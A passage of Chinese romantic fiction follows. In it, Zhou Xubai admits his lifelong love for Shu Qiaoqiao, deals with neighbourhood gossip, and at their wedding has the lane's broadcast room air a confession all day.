“真的假的?”小胖子惊住了,“幼稚园?这还是找妈妈的年纪,你就晓得什么是喜欢了?” “不知道。那时候才多大,怎么会晓得喜欢!我只是觉得舒乔乔很可爱,我想和她玩。” “真正意识到喜欢呢?” 这问题,周叙白没能答上来,他说:“没这个意识。我一直喜欢舒乔,永远喜欢舒乔。” “深情!真深情!小胖哥封你为巷子里第一深情男人!” “别,”周叙白拒绝这个土气称号,“我无福消受。这称号留给你自己。” “行,那我就笑纳了!”小胖子笑笑,“从今以后,我就是锣锣巷第一深情。” 丢脸,太丢脸了。周叙白真不想和他走一块。 他加快了脚步,小胖子追着他:“我发现一件事。” “什么事儿?” “你和舒乔虽然都打了蒋明礼一顿,但问题并没有解决。锣锣巷还是在传你和舒乔的事儿。你不知道那些人说话有多难听。什么不知羞耻,倒贴呀……” 周叙白的心像被蚂蚁咬了一口,难受得要死,他握紧拳头,“都有谁?” “可多了……”小胖子罗列出一堆人,“这是说得最凶的。还有一些搅和的,说出来又是一大堆。” “我去找他们。” 小胖子拦住他,“你一个人,他们一堆人。打也打不赢,说也说不过。可别去。” “这事儿不能这么算了。”他不能忍受舒乔乔受委屈。 “我有一个主意。” “你讲。” “你给舒乔乔一个盛大的告白礼呗,最好能让全巷子里的人都看见……表白词我也帮你想好了,先说一遍你暗恋舒乔乔的故事,然后问她愿不愿意一直让你做她的跟屁虫,小尾巴。” 小胖子越说越得劲儿,最后自夸道:“小爷我真是太有才了。” 但周叙白只说了一句:“舒乔乔社恐。” 言外之意,他的方法不可行。 “那你打算怎么办?” “找他们。” “这方法更不可行。” “不管了,先找他们再说。” 小胖子拦不住他,怕出事,赶忙去找舒乔。 舒乔一听,冲了出去,在小卖部门口拦住了周叙白。 四目相对,周叙白停住了脚步。 舒乔喘了口气说:“别听他们的。谣言嘛!传着传着就停了。而且,你喜欢我这么对年,黏着我这么多年。谣言里说我追着你跑,可便宜了你。让你占便宜了。” “舒乔乔……”他心疼她,心疼的都要哭了。 舒乔张开双手,对他说:“过来,抱抱。” 他走过去,窝在她的脖颈处:“我一定会澄清的。” “我社恐。”她害怕他搞什么幺蛾子。 “我知道。” “不去找他们了。”她劝道。 “嗯。”周叙白应下了。 “这事儿过去了。” “过不去!” 周叙白说过不去,那就是过不去。 所以,在他们结婚那天,周叙白买通了管锣锣巷播音室的大爷,全天广播他喜欢舒乔的心路历程—— “我才是一条小尾巴,一只跟屁虫。是我周叙白一直黏着舒乔乔。” 当伴郎的小胖哥朝他竖起了大拇指,“还得是你。”